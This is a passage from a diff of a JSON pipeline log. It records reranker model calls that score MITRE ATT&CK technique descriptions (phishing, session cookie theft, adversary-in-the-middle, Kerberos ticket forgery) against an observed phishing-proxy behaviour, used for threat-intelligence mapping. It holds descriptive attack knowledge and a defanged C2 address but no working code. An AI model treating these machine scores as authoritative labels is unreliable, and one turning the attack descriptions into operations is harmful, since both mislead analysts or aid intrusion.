access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1553", + "text": "ATT&CK technique: T1553 Subvert Trust Controls\nDescription: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls. Adversaries may also create or steal code signing certificates to acquire trust on target systems.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1212", + "text": "ATT&CK technique: T1212 Exploitation for Credential Access\nDescription: Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges. Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal. Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1591", + "text": "ATT&CK technique: T1591 Gather Victim Org Information\nDescription: Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1558", + "text": "ATT&CK technique: T1558 Steal or Forge Kerberos Tickets\nDescription: Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket. Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC). Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1606.001", + "text": "ATT&CK technique: T1606.001 Web Cookies\nDescription: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Linux, SaaS, Windows, macOS" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1588.002", + "text": "ATT&CK technique: T1588.002 Tool\nDescription: Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications. Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1594", + "text": "ATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1566", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1528", + "score": 0.99609375, + "rank": 1 + }, + { + "item_id": "T1111", + "score": 0.99609375, + "rank": 2 + }, + { + "item_id": "T1553", + "score": 0.984375, + "rank": 3 + }, + { + "item_id": "T1598", + "score": 0.97265625, + "rank": 4 + }, + { + "item_id": "T1598.003", + "score": 0.97265625, + "rank": 5 + }, + { + "item_id": "T1566.002", + "score": 0.96875, + "rank": 6 + }, + { + "item_id": "T1134.001", + "score": 0.96484375, + "rank": 7 + }, + { + "item_id": "T1684", + "score": 0.96484375, + "rank": 8 + }, + { + "item_id": "T1134", + "score": 0.91015625, + "rank": 9 + }, + { + "item_id": "T1550", + "score": 0.90625, + "rank": 10 + }, + { + "item_id": "T1550.001", + "score": 0.8984375, + "rank": 11 + }, + { + "item_id": "T1606", + "score": 0.87890625, + "rank": 12 + }, + { + "item_id": "T1056", + "score": 0.84375, + "rank": 13 + }, + { + "item_id": "T1606.002", + "score": 0.77734375, + "rank": 14 + }, + { + "item_id": "T1539", + "score": 0.75390625, + "rank": 15 + }, + { + "item_id": "T1589.001", + "score": 0.73046875, + "rank": 16 + }, + { + "item_id": "T1534", + "score": 0.70703125, + "rank": 17 + }, + { + "item_id": "T1598.002", + "score": 0.62109375, + "rank": 18 + }, + { + "item_id": "T1566.001", + "score": 0.53125, + "rank": 19 + }, + { + "item_id": "T1683.001", + "score": 0.53125, + "rank": 20 + }, + { + "item_id": "T1134.003", + "score": 0.46875, + "rank": 21 + }, + { + "item_id": "T1598.001", + "score": 0.40625, + "rank": 22 + }, + { + "item_id": "T1588.005", + "score": 0.361328125, + "rank": 23 + }, + { + "item_id": "T1684.001", + "score": 0.333984375, + "rank": 24 + }, + { + "item_id": "T1204", + "score": 0.26953125, + "rank": 25 + }, + { + "item_id": "T1134.002", + "score": 0.2333984375, + "rank": 26 + }, + { + "item_id": "T1590.003", + "score": 0.22265625, + "rank": 27 + }, + { + "item_id": "T1598.004", + "score": 0.201171875, + "rank": 28 + }, + { + "item_id": "T1589", + "score": 0.1923828125, + "rank": 29 + }, + { + "item_id": "T1212", + "score": 0.1640625, + "rank": 30 + }, + { + "item_id": "T1566.004", + "score": 0.15625, + "rank": 31 + }, + { + "item_id": "T1566.003", + "score": 0.15625, + "rank": 32 + }, + { + "item_id": "T1558", + "score": 0.1474609375, + "rank": 33 + }, + { + "item_id": "T1550.004", + "score": 0.140625, + "rank": 34 + }, + { + "item_id": "T1608.005", + "score": 0.11962890625, + "rank": 35 + }, + { + "item_id": "T1484.002", + "score": 0.11962890625, + "rank": 36 + }, + { + "item_id": "T1588.002", + "score": 0.1123046875, + "rank": 37 + }, + { + "item_id": "T1588.004", + "score": 0.1005859375, + "rank": 38 + }, + { + "item_id": "T1114", + "score": 0.09619140625, + "rank": 39 + }, + { + "item_id": "T1606.001", + "score": 0.09619140625, + "rank": 40 + }, + { + "item_id": "T1586.002", + "score": 0.0712890625, + "rank": 41 + }, + { + "item_id": "T1588.007", + "score": 0.06396484375, + "rank": 42 + }, + { + "item_id": "T1586", + "score": 0.06005859375, + "rank": 43 + }, + { + "item_id": "T1657", + "score": 0.050537109375, + "rank": 44 + }, + { + "item_id": "T1036", + "score": 0.039306640625, + "rank": 45 + }, + { + "item_id": "T1588", + "score": 0.03759765625, + "rank": 46 + }, + { + "item_id": "T1555", + "score": 0.033203125, + "rank": 47 + }, + { + "item_id": "T1078", + "score": 0.0274658203125, + "rank": 48 + }, + { + "item_id": "T1059", + "score": 0.0274658203125, + "rank": 49 + }, + { + "item_id": "T1593.001", + "score": 0.0274658203125, + "rank": 50 + }, + { + "item_id": "T1557", + "score": 0.0242919921875, + "rank": 51 + }, + { + "item_id": "T1584.006", + "score": 0.0142822265625, + "rank": 52 + }, + { + "item_id": "T1056.003", + "score": 0.0142822265625, + "rank": 53 + }, + { + "item_id": "T1593.002", + "score": 0.0142822265625, + "rank": 54 + }, + { + "item_id": "T1102", + "score": 0.013427734375, + "rank": 55 + }, + { + "item_id": "T1649", + "score": 0.0125732421875, + "rank": 56 + }, + { + "item_id": "T1586.001", + "score": 0.00921630859375, + "rank": 57 + }, + { + "item_id": "T1587", + "score": 0.00921630859375, + "rank": 58 + }, + { + "item_id": "T1591", + "score": 0.007171630859375, + "rank": 59 + }, + { + "item_id": "T1591.004", + "score": 0.006744384765625, + "rank": 60 + }, + { + "item_id": "T1591.002", + "score": 0.006744384765625, + "rank": 61 + }, + { + "item_id": "T1597.002", + "score": 0.005584716796875, + "rank": 62 + }, + { + "item_id": "T1140", + "score": 0.00494384765625, + "rank": 63 + }, + { + "item_id": "T1190", + "score": 0.00494384765625, + "rank": 64 + }, + { + "item_id": "T1594", + "score": 0.00494384765625, + "rank": 65 + }, + { + "item_id": "T1588.001", + "score": 0.004638671875, + "rank": 66 + }, + { + "item_id": "T1027", + "score": 0.0023956298828125, + "rank": 67 + }, + { + "item_id": "T1583", + "score": 0.00225830078125, + "rank": 68 + }, + { + "item_id": "T1588.003", + "score": 0.00225830078125, + "rank": 69 + }, + { + "item_id": "T1590.006", + "score": 0.0021820068359375, + "rank": 70 + }, + { + "item_id": "T1105", + "score": 0.00193023681640625, + "rank": 71 + }, + { + "item_id": "T1189", + "score": 0.00150299072265625, + "rank": 72 + }, + { + "item_id": "T1681", + "score": 0.00113677978515625, + "rank": 73 + }, + { + "item_id": "T1567", + "score": 0.000885009765625, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 27855 + } + }, + "evidence_sha256": "5c2db2bb359a223ca642a9d34a3889a163024b8010fe01e2cb1edb966d69f889" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 895.0, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: Threat actors are using phish kits that leverage transparent reverse proxy, which enables them to man-in-the-middle (MitM) a browser session and steal credentials and session cookies in real-time" + }, + "items": [ + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |" + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser." + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * Browser password stealer (based on WebPassView)" + }, + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: When a victim browses to a website that matches one of these patterns, JavaScript code will be injected from the threat actor’s domain https://securebankingapp[.]com/." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1041", + "text": "ATT&CK technique: T1041 Exfiltration Over C2 Channel\nDescription: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The threat actor has an Osiris C2 server that is located at http://ylnfkeznzg7o4xjf[.]onion/kpanel/connect.php, which has been instructing infected systems to steal and exfiltrate web browser and email credentials." + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: It also has a wide range of information-stealing abilities including browser credential theft, keylogging, screen capture, and remote enabling of webcams." + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: * Stealing session files from applications, including Discord, Steam, Telegram, and Authy" + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser." + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the 